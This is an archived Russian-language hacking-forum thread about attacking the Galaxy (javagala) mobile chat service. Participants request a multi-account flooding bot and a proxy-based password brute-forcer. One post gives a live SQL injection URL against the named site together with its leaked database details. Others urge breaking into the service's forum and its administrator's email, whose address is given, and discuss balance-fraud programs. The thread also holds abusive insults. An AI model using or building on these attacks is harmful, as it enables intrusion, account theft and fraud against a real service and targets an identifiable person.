Чаты Обсуждение java чата Galaxy(Галактика знакомств)

Discussion in 'Веб-уязвимости' started by cremator (c), 21 Jun 2008.

Thread Status:
Not open for further replies.
  1. xss-faq

    xss-faq Banned

    Joined:
    28 Jun 2009
    Messages:
    0
    Likes Received:
    57
    Reputations:
    5
    Это та я знаю ,но вот к примеру написать
    1-Прога отсылает сообщения с разных id к примеру с bot.txt
    2-Отсылает на id с login.txt
    Тоесть она будет менять персов и отсылать сообщения с того кого зашла!
    Пока еще нестоит ограничения по вводе правильных паролей!
    Можно нарегать персов и флудить а еще если сделать ее на прокси то вообще летать будет!

    Да кстати сделай брут на прокси с перечислением пасcов из passwors.txt
     
  2. BlackSite

    BlackSite Banned

    Joined:
    6 Feb 2009
    Messages:
    174
    Likes Received:
    100
    Reputations:
    0
    Одна поправка у персов должна быть репутация уважаемый а откуда ты по 2 звездочки на кадого новичка находить будешь
     
  3. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    Если ты будешь постоянно их менять(а это не секундная процедура), то флудом тут и близко не будет пахнуть
    нет резона делать такое ГАВНО. не забывай, что пароли придумывает не человек, а random()
     
  4. xss-faq

    xss-faq Banned

    Joined:
    28 Jun 2009
    Messages:
    0
    Likes Received:
    57
    Reputations:
    5
    Насчет репутации совсем забыл!
    А мне бы это гавно понадобилось например для того чтобы проверять сколько персов осталось живых!
    и что-что рандом ? Я ведь могу сделать базу в 10гб и брутить ,а он пока сгенерирует сдохнуть можно я буду уже уверен что с здесь ниче нет и следующую базу сделаю!
     
  5. skippp

    skippp Banned

    Joined:
    11 Apr 2009
    Messages:
    44
    Likes Received:
    10
    Reputations:
    2
    античай корону одел себе куйло конченное считает себя крутой! крематор он и на тебе попёздывает уебок ! крематор давай ты чё нить новое забабахаешь ! хотелось бы чтонибудь свежего от тебя
     
  6. Ramsey

    Ramsey New Member

    Joined:
    20 Aug 2009
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Вообще при помощи впе про можно что нибудь нормальное замутить кроме ФЛУДа? И ещё. Кто нить пытался форум этой галактики ломануть? Вот ссылка www.javagala.ru/forum/. Может хоть и через форум насолить. Также кому надо может попробовать взломать почту их админа ивруса, вот адрес ruslan@mobstudio.ru .
     
  7. BlackSite

    BlackSite Banned

    Joined:
    6 Feb 2009
    Messages:
    174
    Likes Received:
    100
    Reputations:
    0
    что ты там такого нашёл ошибку вывело какуюто
     
  8. Ramsey

    Ramsey New Member

    Joined:
    20 Aug 2009
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Card3,и что ты там нашел полезного?
     
  9. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    Card3, молодец что в паблик кинул!!! Уже прикрыли лавочку..
    http://javagala.ru/show_photo.php?phid=1+UNION+SELECT+CONCAT(version(),database(),user())/*
    Database Version: 5.0.45-log
    Database name: galaxy
    User name: gala905050@localhost
    Какое нибудь чмо уже написало в Службу подделжки и получило пирата(хотя вряд ли..)
     
  10. Ramsey

    Ramsey New Member

    Joined:
    20 Aug 2009
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Мля, оперативно работают собаки. Что делать то с форумом их?
     
  11. Card3

    Card3 Member

    Joined:
    15 Nov 2008
    Messages:
    29
    Likes Received:
    26
    Reputations:
    1
    Так, cremator (c), Скинул инфу в личку.
     
    1 person likes this.
  12. Mr.Smoke

    Mr.Smoke Member

    Joined:
    20 Jul 2009
    Messages:
    23
    Likes Received:
    5
    Reputations:
    0
    Крематор,
    можешь ссылочку в личку на анаграмму скинуть? :confused:
     
    #472 Mr.Smoke, 24 Aug 2009
    Last edited: 24 Aug 2009
  13. Mr.Smoke

    Mr.Smoke Member

    Joined:
    20 Jul 2009
    Messages:
    23
    Likes Received:
    5
    Reputations:
    0
    Всёже есть программа для галактики чтобы счет пополнять ни знаю как она работает, но даю 110% что есть такие. Знакомый из галы через такую регулярно закидывает себе $$, и перс ни блокируют...
     
  14. kasper2028

    kasper2028 Banned

    Joined:
    11 Aug 2009
    Messages:
    0
    Likes Received:
    2
    Reputations:
    -3
    таких прог нет! коды выдаются в реальном времени. идет запрос в ответ код на бакс -35р с моба ;)
     
  15. skippp

    skippp Banned

    Joined:
    11 Apr 2009
    Messages:
    44
    Likes Received:
    10
    Reputations:
    2
    крематор ты щас не над чем не работаешь?
     
  16. Mr.Smoke

    Mr.Smoke Member

    Joined:
    20 Jul 2009
    Messages:
    23
    Likes Received:
    5
    Reputations:
    0
    Я тебе говорю что есть...
    Там эти доллары как то она с кошелька галы перечисляет чтоли...
     
  17. BlackSite

    BlackSite Banned

    Joined:
    6 Feb 2009
    Messages:
    174
    Likes Received:
    100
    Reputations:
    0
    Если у когото она будет то нафиг её так выкладывать,просто в лс провереным сдесь людям кинуть
     
  18. Ramsey

    Ramsey New Member

    Joined:
    20 Aug 2009
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Я согласен что есть такая. Но вот только
    У очень ограниченного круга лиц. Представьте что у половины галактики будет такая. Разрабы её сразу вычислят. Так что нужно подумать кому давать, ведь те кому дали её могут передавать её своим друзьям и т.д. Ещё вопрос . Насколько хорошо знаешь ты этого знакомого, не врет ли он?
     
  19. GrandPa92

    GrandPa92 Elder - Старейшина

    Joined:
    29 Jul 2008
    Messages:
    69
    Likes Received:
    10
    Reputations:
    0
    Mr.Smoke прог таких НЕТУ хоть что говори, но их НЕТУ. kasper2028 правильно говорит что коды в реальном времени генерируются, приходит запрос на 1 бакс, генерируется код и снимаются деньги с мобилы и всё.
     
  20. Mr.Smoke

    Mr.Smoke Member

    Joined:
    20 Jul 2009
    Messages:
    23
    Likes Received:
    5
    Reputations:
    0
    Чёрт, я тоже раньше был в этом уверен что их нет, а вот теперь...
     
Loading...
Thread Status:
Not open for further replies.